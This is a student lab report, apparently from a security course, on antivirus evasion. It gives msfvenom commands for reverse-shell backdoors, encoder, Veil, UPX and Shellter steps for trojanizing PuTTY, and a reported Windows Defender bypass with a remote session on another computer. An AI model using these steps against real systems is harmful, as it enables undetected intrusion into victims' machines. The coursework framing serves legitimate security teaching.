首页 > 其他分享 >第3次实验-免杀原理

第3次实验-免杀原理

时间:2024-03-30 22:44:37浏览次数:25  
标签:exe 免杀 检测 恶意软件 4325 实验 upx 原理 shellcode

第3次实验

1基础问题回答

(1)杀软是如何检测出恶意代码的?

杀毒软件检测恶意代码的主要方法包括:

  • 签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。
  • 行为分析:杀软监控程序的行为,包括对文件、网络、系统资源的访问和修改。如果软件的行为模式与已知的恶意行为模式匹配,则可能被判定为恶意软件。
  • 启发式分析:利用启发式算法分析未知软件的行为和代码结构,尝试发现未知的或变种的恶意软件。这种方法不仅仅依赖于已知的恶意软件数据库,而是尝试识别新的威胁。
  • 沙箱执行:在一个隔离的环境(沙箱)中执行程序,分析其行为,从而不对实际系统造成影响。如果程序在沙箱中表现出恶意行为,那么它就可能被识别为恶意软件。
  • 云检测:借助云计算技术,杀软可以迅速分析大量数据,识别新出现的恶意软件。这种方法可以有效地提高检测的速度和准确性。

(2)免杀是做什么?

免杀是指通过各种技术手段避免恶意软件被杀毒软件检测到的行为。这通常涉及到对恶意软件代码的修改,使其能够绕过安全软件的检测机制,从而在未被发现的情况下在目标系统上执行。

(3)免杀的基本方法有哪些?

①改变特征码

  • 加壳
  • 用encode进行编码
  • 用其他语言进行重写再编译

②改变行为

  • 改变通讯方式

    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 改变操作模式

    • 基于内存操作
    • 减少对系统的修改

③非常规方法

  • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
  • 使用社工类攻击,诱骗目标关闭AV软件。
  • 纯手工打造一个恶意软件。

(4)开启杀软能绝对防止电脑中恶意代码吗?

开启杀毒软件不能绝对防止电脑中恶意代码的感染。虽然杀软可以大幅度提高安全性,减少恶意软件的威胁,但因为以下原因,它不能提供100%的保护:

  • 新出现的恶意软件或变种可能还未被安全厂商发现,因此未被加入到签名数据库中。
  • 免杀技术的发展使得恶意软件能够绕过杀软的检测机制。
  • 用户的不安全行为,如点击未知链接、下载不安全的附件等,也可能导致安全防护措施被绕过。

2实验内容

2.0免杀检测网站

VirusTotal、Virscan

本次实验中使用VirusTotal进行检测

2.1直接使用msf生成的可执行文件进行检测

生成可执行文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_1.exe

image-20240326042319100

2.2使用编码器编码编码后再次进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_2.exe

没有用~

image-20240326042817836

2.3使用编码器编码编码20次后再次进行检测

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.255.137 LPORT=4325 -f exe > backdoor_4325_3.exe

你就说有没有变好吧

image-20240326043020028

2.4使用Veil

安装Veil(执行之后就别动了,弹窗什么的它都会自动执行,只用在最后输入密码即可)

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

打开Veil-Evasion

veil

使用方法参考博客:Kali——绕过杀毒软件检测工具Veil-Evasion_veil 工具原理-CSDN博客

use 1
use 7
set LHOST 192.168.255.137
set LPORT 4325
options
generate

image-20240326053010155

好了一点

image-20240326053056315

在windows下运行payload.exe尝试攻击

image-20240328135351722

攻击成功

2.5C语言调用

先用msf生成一段C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.255.137 LPORT=4325 -f c > shellcode_win_4325.c

在文件中添加

int main()
{
        int (*func)() = (int(*)())buf;
        func();
}

image-20240326054116189

静态编译防止动态连接丢失

i686-w64-mingw32-g++ shellcode_win_4325.c -o shellcode_win_4325.exe -static-libgcc

没有MinGW-w64的可以安装一下:

sudo apt install mingw-w64

另外一种安装方式:

command-not-found.com – i686-w64-mingw32-c++

apt-get install g++-mingw-w64-i686

结果更好了

image-20240326055049121

尝试攻击

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.255.138
set LPORT 4325
options
run

无法连接

[!NOTE]

要是有人交叉编译的能攻击成功请联系我

2.6加壳

使用upx对backdoor_20214325.exe进行加壳

upx backdoor_20214325.exe -o backdoor_20214325_ups.exe

2c787368482691a58ada343863f17b6

运行backdoor_20214325_ups.exe后攻击成功

image-20240328144030424

测一测,比不加壳之前(58/72)好了一点点

6d3b5694781debe56a963570beb9332

使用upx对paylod.exe进行加壳

upx paylod.exe -o paylod_upx.exe

image-20240328142401115

运行paylod_upx.exe后攻击成功

image-20240328142451614

测一下,反向升级了。。。

image-20240328142707459

2.7 通过组合应用各种技术实现恶意代码免杀

生成后门软件PuttY_upx.exe,成功与Windows Defender共存,详细见2.8

1612502950c0790d31103663a3129e9

2.8 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

使用Shellter | Shellter (shellterproject.com)向PUTTY.exe注入shellcode后再使用pux进行加壳

使用微信发送到打开了Windows Defender的20214321吴萌源的电脑上,没有被当成病毒杀掉,成功绕过了的防护

之前尝试被杀掉的:

![c259b7cec2072d358a7e55be96f8e7c](D:\微信缓存\WeChat Files\wxid_ypqciexlpdu921\FileStorage\Temp\c259b7cec2072d358a7e55be96f8e7c.png)

幸存下来的putty_upx.exe:

1612502950c0790d31103663a3129e9

使用快速扫描:

7c0c5ade859663b19cbfb4557e07768

在运行之后putty_upx.exe之后攻击成功,但是在使用ls命令后后门程序马上就被删除了

7571a791881b9534995b80c30d6b046

再次发送putty_upx.exe并重新尝试,在攻击之后文件依然没有被杀软删掉,但是不久之后就显示session died

image-20240330191516033

使用screenshot屏幕截图:

image-20240330194909289

pNSqkutn

3实验总结与体会

通过本次实验,我学会了msf中编码器的使用,veil攻击平台的使用、upx加壳等基础的免杀操作,了解了VirusTotal、Virscan等免杀检测网站

在附加题中,我通过在网上找到的攻击平台Shellter组合加壳的操作实现了初步绕过windows defender的检测,并对在同一局域网下的其他电脑成功发动了攻击

4遇到的问题与解决方法

4.1Veil安装

在第一次安装veil时由于其安装过程较慢,我以为是卡住了,按Ctrl + C打断之后重新安装出错,反复使用apt remove后重新安装依然无法解决

最后重装kali系统,并直接运行(执行之后就别动了,弹窗什么的它都会自动执行,只用在最后输入密码即可)后解决

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

4.2C语言交叉编译

使用

i686-w64-mingw32-g++ shellcode_win_4325.c -o shellcode_win_4325.exe -static-libgcc

编译exe后,在windows中运行exe文件后无法成功攻击

使用

gcc -m32 -no-pie -fno-pie shellcode_linux_4325.c -o shellcode_linux_4325

编译后

┌──(root㉿kali)-[/home/kali/Desktop]
└─# file shellcode_linux_4325                                               
shellcode_linux_4325: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=38f5903779f6999ff273683ffc071706f17db8f6, for GNU/Linux 3.2.0, not stripped

关闭地址随机化,打开堆栈可执行后再次尝试,依然无法解决app

标签:exe,免杀,检测,恶意软件,4325,实验,upx,原理,shellcode
From: https://www.cnblogs.com/yan-cheng/p/18106166

相关文章

  • 计算机基础知识问答:编译原理篇
    编译原理一个C语言程序跑起来的过程是怎样的?预处理:在这一步,预处理器(如gcc-E)处理源文件中的预处理器指令,如#include、#define等。编译:编译器(如gcc-S)将预处理后的代码转换为汇编语言。这一步包括词法分析、语法分析、语义分析、中间代码生成、代码优化和目标代码生成。汇......
  • spring多数据源动态切换的实现原理及实现
    AbstractRoutingDataSource是Spring框架中的一个抽象类,可以实现多数据源的动态切换和路由,以满足复杂的业务需求和提高系统的性能、可扩展性、灵活性。应用场景多租户支持:对于多租户的应用,根据当前租户来选择其对应的数据源,实现租户级别的隔离和数据存储。分库分表:为了提高性......
  • 前端应用开发实验:事件处理
    目录实验目的相关知识点实验内容购物车功能的拓展代码实现效果实验目的(1)熟练掌握v-on指令的用法,学会使用v-on指令监听DOM元素的事件,并通过该事件触发调用事件处理程序。(2)掌握v-on指令修饰符的基本用法。相关知识点(1)事件监听:使用v-on指令、事件处理方法......
  • gpg: Can't check signature: No public key,及gpg原理
    gpg--verifyopenresty-1.21.4.3.tar.gz.ascopenresty-1.21.4.3.tar.gzgpg:Signaturemade2023-11-0405:31:16+0000UTCgpg:usingRSAkeyB550E09EA0E98066gpg:Can'tchecksignature:Nopublickey解决办法gpg--keyserverhkp://keyserver.......
  • mybatis 实验报告1
    文章目录新建数据库新建项目,并导入jar包添加配置文件conf.xml定义实体类定义操作表user的sql的映射文件userMapper.xml注册:将mapper.xml文件注册到conf.xml配置文件中一共6步,这个只是测试类,这个不算新建数据库命名是随便,因为这里是数据库连接名createdatabase......
  • 编译原理第五章——自下而上分析——算符优先分析(超全)
    编译原理第五章——自下而上分析——算符优先分析目录一、复习:语法分析的两种方式二、自下而上分析概述1.......
  • Linux下history命令简单原理
    前言在我们平时操作linux服务器时,有时候需要使用之前操作过的命令,这个时候history就派上用场了,它会记录你的历史操作命令。使用历史记录会持久化存储,默认位置是当前用户目录下的.bash_history文件。当Linux系统启动一个Shell时,Shell会从.bash_history文件中,读取......
  • java计算机毕业设计(附源码)学校实验课教学管理(ssm+mysql+maven+LW文档)
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义标题:实验课教学管理的创新与实践在现代教育体系中,实验课作为理论与实践相结合的关键环节,其教学质量直接关系到学生的创新能力和实践技能的培养。随着科技的快速发......
  • springBoot AOP 深入原理,及 @Before,@Around,@After,@AfterReturn,@AfterThrowing执行
    连接点(Joinpoint):程序能够应用通知的一个“时机”,这些“时机”就是连接点,例如方法被调用时、异常被抛出时等等。——可以理解为被aop拦截的类或者方法就是连接点。通知(Advice):通知定义了切面是什么以及何时使用。描述了切面要完成的工作和何时需要执行这个工作。——可以理解为被......
  • 实验报告( 重载,引用,指针,交换,字符串的连接 )
       一、实验目的:掌握函数重载的使用方法深入理解指针的概念,掌握指针的使用方法理解引用的概念,掌握引用作为函数参数的使用方法二、实验仪器或设备:微型计算机三、总体设计(设计原理、设计方案及流程等)实验内容:1、设计一组重载函数add(),至少包括:charadd(char,int);......